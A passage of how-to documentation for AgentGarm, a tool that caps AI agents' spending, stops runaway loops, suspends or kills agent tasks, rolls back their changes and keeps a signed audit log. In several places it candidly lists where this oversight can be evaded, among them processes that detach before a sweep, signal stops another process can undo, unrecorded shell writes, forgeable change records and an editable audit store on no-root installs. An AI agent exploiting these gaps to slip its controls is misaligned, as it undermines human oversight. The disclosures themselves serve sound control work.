what was held; a call that was never billed releases its hold. A call that would cross the budget is let through only when nothing else in the scope is in flight, so concurrent subagents overspend by at most one call's estimate, plus anything that call costs beyond it, while agentgarmd answers. If agentgarmd does not answer within 250 ms, the call is forwarded without a hold and still charged when it settles, so calls made while agentgarmd is unreachable can add to the overspend. Spend and holds of a task that outlives an agentgarmd restart are restored; its token rate starts over. 4. Recognise the cap A refused call is answered by the proxy and never reaches the provider, in the provider's error format. Once the budget is spent the agent gets a 403 permission_error, “AgentGarm: the task's budget is reached”, a Budget alert is recorded, and on_limit_breach, if set, applies: on Linux the task's cgroup is frozen or killed, and on Windows its Job Object is suspended or terminated. On macOS, or without a cgroup, a suspend stops the task's whole tree: the root and every process it started, found by parent process and swept again until nothing new turns up, while a process you stopped yourself (Ctrl-Z) is left as it was. A process that detaches from the tree before the sweep reaches it escapes, unless the Endpoint Security client, which is in preview, tracks it. A kill there reaches the root and the processes the Endpoint Security client tracks. A suspended task is denied every further decision and survives a restart of agentgarmd. It stays suspended until root removes its breach hold with sudo agentgarm task resume, the task's id and --hold breach, from outside every governed task preview; it runs again once no other hold is left. Resume is not built on Windows yet, where a suspended task stays suspended until it is killed. A call that does not fit while another is in flight, or one over the token rate, gets a 429 rate_limit_error with retry-after: 2, “AgentGarm: the task's budget is nearly reached or its token rate is; retry shortly”, and nothing else happens. A warning is recorded once when spend crosses 80% of the budget. Both show among the alerts on the dashboard's Overview and its Alerts screen. Under a cost budget, a call to a provider that bills in another currency than US dollars, such as the catalog's CNY providers, is refused with a 403, “AgentGarm: the task's budget is in USD and this provider bills in CNY”, without the breach action, since no exchange rate is applied yet. And while a provider's own rate limit for a key is in force, the proxy answers further calls with that key itself, with a 429 and a retry-after until it lifts, so a runaway agent does not burn a shared key's window. Open the dashboard agentgarm ui --open The dashboard's Overview: a status line, four tiles, then what was denied and the newest alerts beside the tasks running now and their assurance level 5. Stop runaway loops agentgarmd counts every call a hook asks about, denied or not, by its action: the command, file path and access, host and port, or tool and arguments, with runs of whitespace collapsed. More than max_identical_tool_calls identical calls within window_seconds is a loop, and its action applies: alert only records it; suspend_and_alert (the default when unset) also denies the call and suspends the task, and kill denies it and ends the task, as for a spent budget. Claude Code sees the denied call as “AgentGarm: the agent is repeating the same call”. Every pack ships with loop detection set to alert. The match is literal on purpose: a loop whose arguments change every time is left to the budget and the token rate. The pack's limits, alert only swarm_governance: max_subagent_depth: 4 max_concurrent_subagents: 8 loop_detection: max_identical_tool_calls: 8 window_seconds: 120 action: alert Suspend a task that repeats a call loop_detection: # More than this many identical calls within the window is a loop. max_identical_tool_calls: 6 window_seconds: 120 action: suspend_and_alert 6. Limit agent swarms max_subagent_depth caps how deeply subagents nest (a root task is depth 0), and max_concurrent_subagents how many may be live in one task tree. agentgarmd refuses to register a subagent beyond either limit; in audit mode it only logs the breach. A subagent here is a task that a process already inside a governed task registers with agentgarmd, which finds its parent from the process's lineage. Nothing AgentGarm ships registers one today: agentgarm run refuses every launch from inside a governed task, so these limits bind only a client that registers its own tasks. Subagents an agent runs in its own process run inside its task: they share its budget and loop limits but are not counted here. Pair these with scope: task_tree, so that every subagent spends from the root task's budget instead of starting its own. inherit_task_budget under swarm_governance is another way to say the same thing: true means scope: task_tree and false means scope: task, used when scope is unset. A policy that sets both to different scopes does not compile. Two levels of subagents, four at a time swarm_governance: # A root task is depth 0: a subagent nested deeper than this is refused. max_subagent_depth: 2 # Live subagents in one task tree. max_concurrent_subagents: 4 Next guide: See what each task costAll how-to guides # See what each task cost URL: https://agentgarm.com/docs/how-to/task-cost Docs › How-to guides › See what each task cost Guide 32 of 61 · Cost See what each task cost Route an agent's model calls through AgentGarm so each one is counted and priced, and read the spend by provider and model. Steps marked preview rely on a package that has not passed its release gate. Route an agent's model calls through AgentGarm so each one is counted and priced, read the Spend screen by provider and model, understand how reasoning and cache tokens are counted and priced, check which catalog the prices come from, and, where the dashboard shows them (in preview), see spend per currency and hour and what one run cost. On this page 1.Send the agent's calls through the proxy 2.Open the Spend screen 3.Read reasoning and cache tokens 4.Check where the prices come from 5.See spend per currency and per hour 6.See what one run cost 1. Send the agent's calls through the proxy Only calls that pass through agentgarm-session's proxy are counted, so start the agent with agentgarm run. The proxy records each call with its provider, model, tokens by class, the service tier and the status, and agentgarm-session prices it from the catalog. When a successful call's response reports no usage, the tokens are estimated from the request and the streamed output, and the call is marked as an estimate; a response the proxy cannot decode is left unpriced. With agentgarm run, Claude Code sends its task id with each call, so the call is attributed to its task; a call from an agent that sends none, such as Codex, is attributed to the task of the process that made it. Subscription traffic is never proxied, so only API-key and gateway-key calls appear here. Run Claude Code governed agentgarm run -- claude Checked by the walk: this command ran as written on a no-root Linux install. See also Set spend budgets and stop runaway loopsGive each agent task a cost budget and a token rate, see what the agent meets at the cap, and stop loops and runaway subagents with limits of their own. 2. Open the Spend screen agentgarm ui prints the dashboard's address, and --open opens it. The Spend screen's title gives how many of your recent model calls were priced and their total (“Last N priced model calls”), a chart shows their cost per hour, and its table lists them by provider and model, with the number of calls, the tokens and the cost of each; calls the catalog cannot price are listed apart, under “Unpriced (not in the catalog)”. The Tokens column adds up uncached input, output and cache reads; cache writes are priced but not counted there. The figures are for your own calls, as agentgarmd records them. Open the dashboard agentgarm ui --open Print the dashboard's address agentgarm ui Checked by the walk: this command ran as written on a no-root Linux install. The dashboard's Spend screen on its Recent calls tab, with its hourly chart and cost by provider and model 3. Read reasoning and cache tokens Output tokens include reasoning, as providers bill them; when a provider also reports its reasoning or thinking tokens separately, that count is kept for information and never priced twice. Input is counted uncached: cache reads and cache writes have classes of their own, cache writes split by their cache lifetime (5 minutes or 1 hour), and each class is priced at its own catalog rate. A class with tokens but no rate in the catalog, such as another cache lifetime, makes the cost partial, and the unpriced classes are named. 4. Check where the prices come from Prices and model names live only in the versioned catalog built into AgentGarm, never in code. Each curated provider's prices are checked against the vendor's pricing page on the date the file records. OpenRouter's are generated from its published model list, and a few smaller providers carry seed input and output rates only, with no verified date; a build-time pull from a model resolver that is to replace both is built but not yet in use. A price change is a new revision with the date it takes effect, so an earlier call keeps the price it was made at. A model is matched by its exact id or an alias, or with a dated snapshot suffix removed; a model the catalog does not know is left unpriced, never guessed. agentgarm status prints the catalog version on its catalog line, labelled as the CLI's built-in copy. Show the catalog version agentgarm status Checked by the walk: this command ran as written on a no-root Linux install. 5. See spend per currency and per hour preview The Spend screen's Recent calls tab keeps each currency apart and never adds amounts in different currencies: the currency most calls were priced in gets an hourly chart from its first call's hour to its latest within the last 24 hours, and the others are listed beside it. Each model row shows its share of the spend and its catalog price per million tokens for reference, while the costs stay as each call was priced. A call the catalog could not price is in no total; it is listed apart as unpriced. The dashboard's Spend screen on its Recent calls tab, with its hourly chart and cost by provider and model 6. See what one run cost preview The dashboard's Runs screen lists your runs, newest first, with each run's cost per currency and its unpriced calls counted apart. Open a run for its cost and number of model calls, its timeline with the model calls in their own lane and each one's price in its Cost column, and its costliest model calls beside it. Spend's By period tab gives spend over a period, such as this month, compared with the one before. The list of runs and a run's timeline export to CSV. See also Trace what one agent task didFind an agent's task in the dashboard, read every decision its policy made with the rule behind it, and follow the run from first decision to last. Next guide: Reconcile spend with provider invoicespreviewAll how-to guides # Reconcile spend with provider invoices URL: https://agentgarm.com/docs/how-to/reconcile-costs Docs › How-to guides › Reconcile spend with provider invoices Guide 33 of 61 · Cost Reconcile spend with provider invoices Reconcile a day of this machine's model calls against your provider's own usage and cost reports, read where they differ, and export FOCUS rows. Built, not yet claimed preview: this guide describes a package that has not passed its release gate. Give agentgarmd the admin key that reads your provider account's usage reports, reconcile a day of this machine's model calls against the provider's own usage and cost reports, read where the two differ and why, and export the day's cost as FOCUS rows for your FinOps tools. On this page 1.Check that your provider has a connector 2.Enrol the provider's admin key 3.Reconcile a day 4.Read the differences 5.Find out why a day drifts 6.Export the day's cost as FOCUS rows 1. Check that your provider has a connector Reconciliation needs a connector for the provider's report API. There are five: Anthropic and OpenAI (usage and cost), Cursor and GitHub Copilot (billed amounts) and Devin (usage in credits or ACUs, with no money). OpenRouter has a report API but no connector yet, and the other providers have no report API, so their calls cannot be reconciled; cloud billing exports (AWS, Azure, GCP) are later work. Every connector is so far proven only against recorded responses, and its output says so. On a machine, reconciliation keeps one account per provider and counts all of the provider's calls stored there as that account's, since a call does not carry its account. A machine enrolled in Central Lite refuses it: a fleet reconciles in Central Lite. 2. Enrol the provider's admin key Each connector needs its own least-privilege report key, never the key your agents use: an Anthropic Admin API key (organisations only), an OpenAI Admin API key, a Cursor Admin API key (team plan), a Devin service user key with “Use Local Analytics API”, or a GitHub organisation administrator's token. The account is the organisation's UUID for Anthropic (Claude Console, Settings → Organization), the org-… id for OpenAI, the team id for Devin and the organisation's login for GitHub, and a run whose report names another account fails. For Cursor it is a name you give the team, which nothing checks. agentgarmd costs key set reads the key from stdin, never an argument, seals it and records the change in the audit chain; the agentgarm CLI never holds it. One account per provider: --replace swaps in another. On a no-root install add --user after the account and drop sudo. agentgarmd costs key list names the providers and accounts with a key, and remove deletes one. Enrol an Anthropic admin key, root install read -rs KEY && printf '%s' "$KEY" | sudo agentgarmd costs key set anthropic --account ; unset KEY 3. Reconcile a day agentgarm costs reconcile asks agentgarmd to fetch one provider account's reports for one UTC day, by default yesterday; a day that has not been over for an hour is refused, so a partial day never reads as drift. agentgarmd runs the fetch in a separate unprivileged process, checks every row it returns, reconciles them with the day's calls and records the result in the audit chain. Run it as root on a root install, or with --user on a no-root install, from outside any governed task. A run can take up to two minutes. Reconcile yesterday, root install sudo agentgarm costs reconcile --provider anthropic --account Reconcile a given day as JSON, no-root install agentgarm costs reconcile --provider openai --account --day 2026-10-29 --json --user See also Attribute AI spend by machine and personRead your enrolled machines' model spend by day, machine, provider and model, and reconcile it against your providers' own usage and cost reports. 4. Read the differences The first line gives the status. within tolerance means the reconciled cost is within 1 % of the provider's billed (workspace) cost, less the lines AgentGarm excludes, such as Anthropic's batch and code-execution lines. DRIFT beyond the 1 % tolerance and FAILED exit 1; a failed run is recorded too, and the calls keep their own cost. no workspace cost to compare with is every Devin day, since Devin reports no money. Below it come the local cost of this machine's calls, the reconciled cost (the report's usage priced from the catalog, and the local figure for any model the report lacks), the workspace cost with its excluded part, and the drift. Then one line per model with its local and report figures, a not in the report: line for each model the report lacks, and each excluded or unpriced item. A line “adopted from the vendor's billed cost (not an independent check)” means part of the figure is the provider's own bill, which matches the bill by construction: all of Cursor's and GitHub Copilot's, whose agents run on their own backends, and Anthropic models with long-context rates. agentgarm status shows each account's last reconciled day and its status. See the last reconciled day per account agentgarm status 5. Find out why a day drifts Some drift is known and not yet excluded. For Anthropic, flex and priority-on-demand usage is unpriced, yet its cost lines cannot be told apart from ordinary usage. For OpenAI, batch and Scale Tier cost lines cannot be told apart from ordinary ones, cache writes are unpriced, audio and image tokens are priced at text rates, web searches are priced at one rate although non-reasoning models bill more for them, and a model with long-context rates keeps the proxy's figure, so its calls that did not pass the proxy are missing. For a drift day outside these, compare the model lines and the excluded items to find the model that differs. See also See what each task costRoute an agent's model calls through AgentGarm so each one is counted and priced, and read the spend by provider and model. 6. Export the day's cost as FOCUS rows Turn on the file export's focus stream in default.yaml, the only policy file whose export section is read, and restart agentgarmd. After each UTC day closes it writes focus-.csv (FOCUS 1.5 draft) and focus-exclusions-.csv (usage it cannot price, never dropped) into the export folder of its state directory, such as /var/lib/agentgarm/export on a root install on Linux. The first day written is the next one to close, and under the non-monitoring compliance profile no FOCUS row is written. Two keys share the name: focus: true under file switches the stream on, and the focus block beside file holds the billing accounts its rows name. The rows are AgentGarm's own measurement of the stored calls at the catalog's list price, not the reconciled figures: ListCost carries the cost, and BilledCost and EffectiveCost are 0, because AgentGarm neither invoices nor originates the charge. Before merging them with the provider's own FOCUS export, select AgentGarm's rows by their x_AgentGarm columns, or the list cost and quantities are counted twice. A FOCUS-only file export in default.yaml export: file: ocsf: false otel: false focus: true focus: billing_accounts: anthropic: your-anthropic-organisation-uuid openai: org-your-organisation-id Next guide, in Investigating and recovering: Undo what an agent changedAll how-to guides # Undo what an agent changed URL: https://agentgarm.com/docs/how-to/rollback Docs › How-to guides › Undo what an agent changed Guide 34 of 61 · Investigating and recovering Undo what an agent changed Preview what rolling back an agent's task would restore and keep, then apply the rollback from the checkpoint taken before the agent started. Steps marked preview rely on a package that has not passed its release gate. Find the task whose changes you want undone, preview what rolling it back would restore and what it would keep, bring back a file you edited since the agent did if you mean to, see why a file under a legal hold stays as it is, and apply the rollback from the checkpoint taken before the agent started. On this page 1.Find the task 2.Preview the rollback, then apply it 3.Read what it restores and what it keeps 4.Restore a file you changed since 5.Leave files under a legal hold 6.Restore held files with your presence 7.Roll back a workspace outside git 1. Find the task preview agentgarm run checkpoints the workspace after it registers the task and before the agent starts. The Claude Code pack asks for the git checkpoint (checkpoint: per_task): every tracked file and every untracked, non-ignored file up to 10 MiB, as on disk. Each checkpoint is normally kept in its own store, named by its task id, outside your repository; on a Linux install it is under ~/.local/state/agentgarm/checkpoints/git/, on macOS under ~/Library/Application Support/AgentGarm/checkpoints/git/. Each store holds a workspace file naming the repository's git directory, so you can tell which repository a task worked in. While the agent still runs, agentgarm status --json lists each live task with its full task_id; agentgarm status shows only its last twelve characters. List the checkpointed tasks, Linux ls -t ~/.local/state/agentgarm/checkpoints/git See which repository a task worked in, Linux cat ~/.local/state/agentgarm/checkpoints/git//workspace List the checkpointed tasks, macOS ls -t ~/Library/Application\ Support/AgentGarm/checkpoints/git List live tasks with their full ids agentgarm status --json Checked by the walk: this command ran as written on a no-root Linux install. See also Trace what one agent task didFind an agent's task in the dashboard, read every decision its policy made with the rule behind it, and follow the run from first decision to last. 2. Preview the rollback, then apply it Stop the agent first: agentgarm rollback refuses a task, or a task of its tree, that is still running. Run it as yourself, never with sudo and never from inside a governed task; both are refused. It prints the plan, starting Rollback in (tier: git), with one line per file: restore, remove (a file that did not exist at the checkpoint), or keep with the reason, and how many files the agent changed already match the checkpoint. A plan with nothing to do says nothing to restore and exits 0. In a terminal it asks Apply? [y/N]; anywhere else it prints the plan and Not applied: re-run with --yes to apply. and exits 1. Once applied it says Restored N file(s). and records the rollback with agentgarmd. Each file is checked again just before it is written, and one that changed after the plan was shown is kept and named. After a kill, or a kill order from Central Lite preview, the same applies: nothing is checkpointed at kill time, so rollback restores the checkpoint taken at launch, once the task has ended (a suspended task still counts as running). No order rolls back for you. A hooks-only session, one not started with agentgarm run or agentgarm wrap, has no checkpoint, so it has nothing to roll back to (Find out why your agent stopped). Preview the rollback agentgarm rollback Apply it without the prompt agentgarm rollback --yes 3. Read what it restores and what it keeps Rollback restores only files recorded as changed by the agent that still hold what was recorded. A file with no record is not touched, so your work elsewhere in the tree survives. The records come from the agent's own processes, so a forged one could name a file the agent never wrote: the preview lists every path, so check it before you confirm. A file you (or another process) changed after the agent's last write is kept as changed since the agent's last write. Also kept: ignored and untracked files the checkpoint did not capture, anything inside .git or outside the work tree, and agent configuration the sandbox never lets an agent write (such as .mcp.json or .claude/settings.json), which you restore by hand. With the git checkpoint, the record of what the agent changed comes from its file-writing tool calls (Claude Code's Write, Edit, MultiEdit and NotebookEdit; Codex's apply_patch). A file the agent changed through a shell command is not recorded, so rollback does not list it, unless the macOS Endpoint Security sentinel preview is active, which records every file the task's processes write. And an edit of yours made between the checkpoint and the agent's write to the same file counts as “before”, so it is undone with the agent's change: check the preview before you confirm. 4. Restore a file you changed since When you do want the checkpoint's version of a file listed as changed since the agent's last write, or as the agent's result was not recorded, name it with --include, once per file. The path is relative to where you run the command and must lie inside the work tree. The preview marks it (included although …). --include never lifts a legal hold or the protection of agent configuration. Restore one file you edited after the agent agentgarm rollback --include src/main.rs 5. Leave files under a legal hold A legal hold, placed with agentgarmd legal-hold place for all records, one task or one user, suspends rollback for what it covers: such a file is kept as under an active legal hold, and a rollback that restored nothing because of holds is recorded as a refusal. agentgarmd legal-hold list shows the holds. On a root install only root places, lists and releases them; a no-root install keeps them in your own store (agentgarmd legal-hold list --user), which any unsandboxed process of yours can edit. 6. Restore held files with your presence preview --force-held restores held files too, only with a presence approval agentgarmd verifies. After you confirm the plan, it asks for one challenge naming exactly the held paths, which you confirm in agentgarm presence watch within 30 seconds. Without one (no key enrolled, a declined or lapsed challenge, or a no-root install) nothing is restored, the refusal is recorded and the command exits 2. A hold placed through Central Lite cannot be forced this way at all. Wait for the approval agentgarm presence watch Restore held files too agentgarm rollback --force-held See also Approve risky actions with Touch IDEnrol a Touch ID key on your Mac and approve each command your policy asks about with your fingerprint, for that one call only. 7. Roll back a workspace outside git preview The git checkpoint needs a git work tree. Outside one, agentgarm run says on stderr that the workspace is not in a git work tree and launches without a checkpoint, and agentgarm rollback refuses the task. A policy may instead ask for checkpoint: apfs (copy-on-write clones on macOS), overlay (OverlayFS on Linux, which needs a root install) or auto, which picks the best of these for the platform and falls back to git; the preview then names that tier, and restores and keeps files by the same rules, except that the overlay tier also lists what the agent changed through shell commands, and discards changes that never reached the workspace. Next guide: Find out why your agent stoppedpreviewAll how-to guides # Find out why your agent stopped URL: https://agentgarm.com/docs/how-to/agent-stopped Docs › How-to guides › Find out why your agent stopped Guide 35 of 61 · Investigating and recovering Find out why your agent stopped Tell whether your agent was suspended, killed, locked out by a kill order or stopped by its budget, get your work back, and find out who can lift it. Built, not yet claimed preview: this guide describes a package that has not passed its release gate. Read what agentgarm status says about your machine and your tasks, tell a suspend, a kill, a lockdown and a budget breach apart, know what keeps working meanwhile, get your work back with rollback, and find out who can lift what stopped you. On this page 1.See what happened 2.Tell a suspend, a kill, a lockdown and a budget breach apart 3.Know what still works 4.Get your work back 5.Ask who can lift it 1. See what happened Run agentgarm status. A kill order in force on this machine comes first: a lockdown as LOCKDOWN, “this machine is locked down: no governed agent starts or acts”, any other order as a kill order line, each followed by the order's id, its scope, who approved it, the custody of the org root it was checked against, its reason, and that it is lifted only by its lift, or by root on this machine. Under a task, SUSPENDED and since when means it is stopped until every hold listed below it is lifted. The local dashboard's Overview opens with the kill orders in force on this machine, a lockdown first (“This machine is locked down”), each with who can lift it. Its Alerts list each hold placed or removed under Stopped tasks, and History marks a suspended run with a suspended badge, its holds in the badge's title. The menu bar (or the tray on Windows) also shows a notice when a kill order, a Central Lite admin or your budget suspends a task, and when the machine is locked down or the lockdown is lifted; it names who stopped the task, never the order's reason. See the orders in force and each task's holds agentgarm status Checked by the walk: this command ran as written on a no-root Linux install. See also Check that protection is onSee whether AgentGarm's services are up, what assurance level each agent session has and why, and what to do about a bypass alert. 2. Tell a suspend, a kill, a lockdown and a budget breach apart Each hold under a suspended task says who placed it. order: and an id is a kill order approved by several people in Central Lite. command: and a task id is a single-task suspend a Central Lite admin sent. breach is your task's own budget or loop limit. airbag and sensitive_frontmost come from the computer-use airbag and the screen-capture monitor on a Mac. A suspended task keeps its processes, stopped, and every decision it asks for is denied with “this task is suspended”, or “a kill order is in force”. A killed task is gone: its processes were ended, and agentgarm status shows it ENDED until it drops off the list. Under a lockdown, or a suspend or terminate order that covers you, agentgarm run refuses to start a new agent with agentgarmd's reason: “this machine is locked down by kill order …” or “kill order … refuses new tasks in its scope”, with the order's scope and reason. See also Set spend budgets and stop runaway loopsGive each agent task a cost budget and a token rate, see what the agent meets at the cap, and stop loops and runaway subagents with limits of their own. 3. Know what still works An order stops only governed agents: tasks started with agentgarm run or agentgarm wrap, the subagents and MCP servers in them, and hooks-only sessions, whose every decision is denied. Your shell, your editor and any tool you run yourself keep working, and agentgarmd never signals your IDE. Ungoverned processes are untouched, and the record says so. For a suspended task, its streamed model responses are ended and its network tunnels closed, so the agent sees an incomplete stream. How firmly it is held depends on the machine: on Linux with the task's own cgroup it is frozen (A); on macOS it is stopped by signals, which another process of yours can undo until the next sweep (B with the Endpoint Security client, C without); a hooks-only session or a no-root install is C. 4. Get your work back Nothing is checkpointed at kill time. Rollback restores the checkpoint agentgarm run took when the task started, and only once the task has ended: it refuses a task that is still running, and a suspended task still is. After a terminate or a lockdown, run agentgarm rollback with the task's id (agentgarm task list --ended lists it whole) to preview what it would restore, and confirm it yourself; no order ever rolls back for you. A hooks-only session has no launch checkpoint, so there is nothing to roll back to. Preview the rollback of an ended task agentgarm rollback See also Undo what an agent changedPreview what rolling back an agent's task would restore and keep, then apply the rollback from the checkpoint taken before the agent started. 5. Ask who can lift it A kill order is lifted by its lift, which needs as many approvers as the order did: ask your Central Lite admins. If they and Central Lite cannot be reached, root on the machine can lift it locally with sudo agentgarm kill-order lift and a reason; that is recorded and reported to Central Lite. Root removes any other hold with sudo agentgarm task resume, naming the hold: breach, or the command: hold Central Lite placed (which its admin can also remove). Both run outside every governed task. A no-root install takes no kill order; there the daemon's own user runs task resume, at assurance C. task resume answers that the hold is removed and the task is running again, or that it is still suspended by the holds it names; it refuses an order's hold. Resume and the local lift are not built on Windows yet: a suspended task there stays suspended until it is killed. Lift a budget breach's hold, as root sudo agentgarm task resume --hold breach Lift a kill order on this machine, as root sudo agentgarm kill-order lift --reason "approvers unreachable: lifted on the machine" See also Stop agents across a fleetSuspend, terminate or lock down agents on one machine, one agent, one person or the whole fleet, with an order two approver keys sign and each node checks. Next guide: Trace what one agent task didAll how-to guides # Trace what one agent task did URL: https://agentgarm.com/docs/how-to/trace-task Docs › How-to guides › Trace what one agent task did Guide 36 of 61 · Investigating and recovering Trace what one agent task did Find an agent's task in the dashboard, read every decision its policy made with the rule behind it, and follow the run from first decision to last. Steps marked preview rely on a package that has not passed its release gate. Open the dashboard, find the agent's task, see which layer enforces each part of it, read every decision its policy made with the rule behind it, and follow one run from its first decision to its last, its subagents included. On this page 1.Open the dashboard 2.Find the task on the Overview 3.Ask for an exception to a rule 4.See which layer enforces each part 5.Read its decisions on Activity 6.Follow a running task live 7.Open the run's timeline 1. Open the dashboard agentgarm ui prints the dashboard's address on 127.0.0.1, carrying a launch code that works once and for 2 minutes; --open also opens it in your browser. The page trades the code for the session's token and clears it from the address bar. The dashboard only reads: it shows your own tasks, and the requests in it were redacted before they were stored. When agentgarm-session restarts, the page stops; open it again with agentgarm ui. Print the dashboard's address agentgarm ui Open the dashboard in your browser agentgarm ui --open Checked by the walk: this command ran as written on a no-root Linux install, and the output showed 127.0.0.1. 2. Find the task on the Overview The Overview's “Running now” lists the live tasks as a tree, each subagent under the task that started it, with its start time and short id, and the assurance level the tasks share said once above them (an unknown level is shown as C; tasks at different levels each show their own). Beside it are “Denied or asked”, the newest five denied or questioned actions, each with its rule, the reason given, a link to its run and a Request button that copies an exception request for that rule, and the five newest alert groups. The Alerts screen lists every recent alert (bypass, assurance lowered, DLP, policy-source conflict, correlation conflict, checkpoints, budget and agent configuration scans), the same alert from the same source as one row with its count. The dashboard's Overview: a status line, four tiles, then what was denied and the newest alerts beside the tasks running now and their assurance level 3. Ask for an exception to a rule Request copies a short text: “AgentGarm exception request”, the rule, the decision's id, the action, the reason given, and a line for why it should be allowed. AgentGarm sends it nowhere: paste it to whoever owns the policy (a ticket, a chat, an email), and they change the rule and roll it out. For an ask you want to allow for a few minutes in this task only, agentgarm presence grant preview turns that one ask into a short grant once you approve it with your presence key; the Approvals screen shows the command to copy. It is offered only where the rule says pattern_grants: true, on a root install with a presence key, in a launched session, and for a single command it can parse; anywhere else it is refused. Allow one ask for this task, for 5 minutes agentgarm presence grant See also Approve risky actions with Touch IDEnrol a Touch ID key on your Mac and approve each command your policy asks about with your fingerprint, for that one call only. 4. See which layer enforces each part agentgarm status shows each live task on a task line with its agent, the last twelve characters of its id and its assurance level, and under it every class its policy relies on (commands, files, network, model calls and the rest) with its level and the layer that gives it, such as the hooks or the sandbox. --json gives the same with the task's full task_id. A task is rated by the weakest class it relies on. A task whose processes have all exited reads ENDED until agentgarmd drops it from the list, within 5 seconds. Show each task's classes and layers agentgarm status Show the same with full task ids agentgarm status --json Checked by the walk: these commands ran as written on a no-root Linux install. See also Check that protection is onSee whether AgentGarm's services are up, what assurance level each agent session has and why, and what to do about a bypass alert. 5. Read its decisions on Activity Activity lists what was recorded while the page is open, newest first, 40 at a time: each decision with when it was made, its outcome, the action (a command, file access, connection, tool, MCP or model call, as stored after redaction), its agent and the id of the rule that decided it, and the alerts, model calls and MCP events beside them. Narrow it to denied, asked or allowed decisions or to one kind, or search the actions, rules and agents. Selecting a row opens its whole action with the rule, the reason given, the link to its run and, for a denial or an ask, the exception request to copy. The dashboard's Activity screen: filters and a search, then the recorded decisions with their outcomesSee also Watch your agent for a week, then enforceStart a policy in audit mode, see what enforcing it would have blocked in your own history, fix the rules that get in the way, then switch it to enforce. 6. Follow a running task live preview The task tree is keyboard-operable: the arrow keys move and open it, and Enter or Space shows the selected task's details, with its full id, why its level is what it is, and each class's level, layer and whether its policy relies on it, and a link to its run. Activity takes in each decision, alert, model call and MCP event as agentgarmd commits it, at most 200. It holds still while your pointer or focus is on it, and a button says how many arrived meanwhile and shows them. 7. Open the run's timeline preview Runs lists your runs, ended ones too, newest first, over 24 hours, 7 days, 30 days or everything stored, filtered by outcome and agent: each with its agent, start, length, decisions, denials, asks, events and cost (a column no run fills is left out). A run's page, whose address ends in its task id, shows its subagents as links beside its timeline, oldest first, each record in a lane: decisions (with a Why column naming the rule and the reason), model calls (with a Cost column), tools, MCP, files (each read, write or delete with its path), network (each connection, made or refused) and alerts. A model call belongs to the run when it names the task or, for a client that names none (Codex, for example), when it comes from one of the task's processes. A run's process tree is not shown. Input and capture events never appear in it. A run retention removed, or another user's, reads “No such run”. A run's timeline can be filtered by kind, selecting a record shows it whole, and each view exports what it shows, filter included, as CSV or JSON. Those exports are not signed: for a record of one task someone else can check, export its evidence bundle on the machine (Export evidence for one task). See also Undo what an agent changedPreview what rolling back an agent's task would restore and keep, then apply the rollback from the checkpoint taken before the agent started. Next guide: Export and verify the audit logAll how-to guides # Export and verify the audit log URL: https://agentgarm.com/docs/how-to/audit-log Docs › How-to guides › Export and verify the audit log Guide 37 of 61 · Investigating and recovering Export and verify the audit log Export AgentGarm's hash-chained audit log, check it against the node key that signs its heads, and know what a passing or broken check tells you. Export AgentGarm's hash-chained audit log, check it against the node key that signs its heads, know what a passing check proves and what it does not, and read what a broken chain tells you. On this page 1.Export the chain 2.Get the key to check it with 3.Verify the export 4.Know what a passing check proves 5.Read a broken chain 1. Export the chain Every decision and every security and audit event is appended to a hash chain, each record linked to the one before it. agentgarmd audit export writes one chain, the active one unless --chain names another, as OCSF events (a JSON array, or one per line with --format jsonl) into a new file with mode 0600; it never writes over an existing file. It reads the store directly, so on a root install it needs root, and a no-root install names its own store with --user. With --out it prints a header: the chain, its authority, the --key to check it with, the result of checking it there, and the agentgarm audit verify command to run. Without --out the export goes to stdout and the header to stderr. Export the active chain, no-root install agentgarmd audit export --user --out audit.json Export the active chain, root install sudo agentgarmd audit export --out audit.json Checked by the walk: these commands ran as written on a no-root Linux install and a root install on Linux. See also Set retention, legal holds and data-subject requestsSet how long Central Lite keeps each class of record, put a legal hold on the records a case needs, and answer a person's access or erasure request. 2. Get the key to check it with agentgarmd signs the chain's head with the node key: when it starts a new chain, once 256 records are unsigned, every minute while any are, and at shutdown while any are. agentgarm status shows the key on its node key line in the form --key takes, and agentgarmd writes the same to node.pub in its state directory at start. The audit chain line says whether the chain verified at start from its last signed head. Show the node key agentgarm status Checked by the walk: this command ran as written on a no-root Linux install. 3. Verify the export agentgarm audit verify recomputes every record's hash and checks each link, the sequence and every signed head against the --key you give. It prints valid: chain … with the number of records and the authority, then how far the signatures reach: signed through record N; M unsigned record(s) after it. Records after the last signed head are linked but not yet attested. It exits 0 only when the chain is intact and covered by a head your key verifies. An intact chain with no verified head exits 3, since anyone who can edit an export can recompute every hash: without a --key it says head signatures NOT checked (no --key given), and with one that signs no head of the chain, no signed head covers this chain. --allow-unsigned turns that 3 into 0 for a deliberate hash-only check, and --json prints the result as JSON. Verify with the key agentgarmd wrote, no-root install on Linux agentgarm audit verify audit.json --key "$(cat ~/.local/state/agentgarm/node.pub)" Verify with the key status showed agentgarm audit verify audit.json --key =ed25519: Checked by the walk: this command ran as written on a no-root Linux install. 4. Know what a passing check proves A pass shows that the records up to the last signed head are the ones the holder of that key signed, in order and unchanged. It is only as good as the key you checked it with, so read the key on the machine that signed the chain, never from whoever hands you the export. On a no-root install there is no privilege boundary: on Linux the node key is a file of yours, and any unsandboxed process of yours can edit the store and the audit chain. A root install keeps the store and the key out of your processes' reach. A chain export is the whole chain, every task's and every user's records. To hand over one task's records, export its evidence bundle instead preview: the run of the chain that holds the task, other tasks' records reduced to stubs with no content, and a head signed for the export. See also Export evidence for one taskWrite one task's signed evidence bundle on its machine, verify it with the node's key, hold its records, and hand it to someone else to check. 5. Read a broken chain A chain that fails prints INVALID: and the first problem, and exits 1. A record edited in place reads record N: hash does not match its content; one edited with its hash recomputed breaks the next record's link (broken link to the previous record); a record removed from the middle leaves a gap in the sequence (record N: expected sequence number M). With --key, records removed under a signed head read a signed head covers record N, but the chain ends at M; a forged head or one signed by another key fails as a head. agentgarmd checks the active chain itself at start, from its last signed head, and the whole chain in the background. A chain that fails is never extended: it starts a new one, records the failure in it as an alert and keeps enforcing. agentgarm status then shows chain … FAILED its check at start with the reason and the new chain's id; export the failed one with --chain to keep it as evidence. Deleting the newest signed heads together with their records leaves an export that still verifies, so agentgarmd also checks the chain at start against a high-water mark it keeps outside the database, and reports such a chain as rolled back. Whoever owns the store (root, or you on a no-root install) can defeat that mark too. Export a failed chain, no-root install agentgarmd audit export --user --chain --out failed-chain.json Next guide: Export evidence for one taskpreviewAll how-to guides # Export evidence for one task URL: https://agentgarm.com/docs/how-to/incident-evidence Docs › How-to guides › Export evidence for one task Guide 38 of 61 · Investigating and recovering Export evidence for one task Write one task's signed evidence bundle on its machine, verify it with the node's key, hold its records, and hand it to someone else to check. Built, 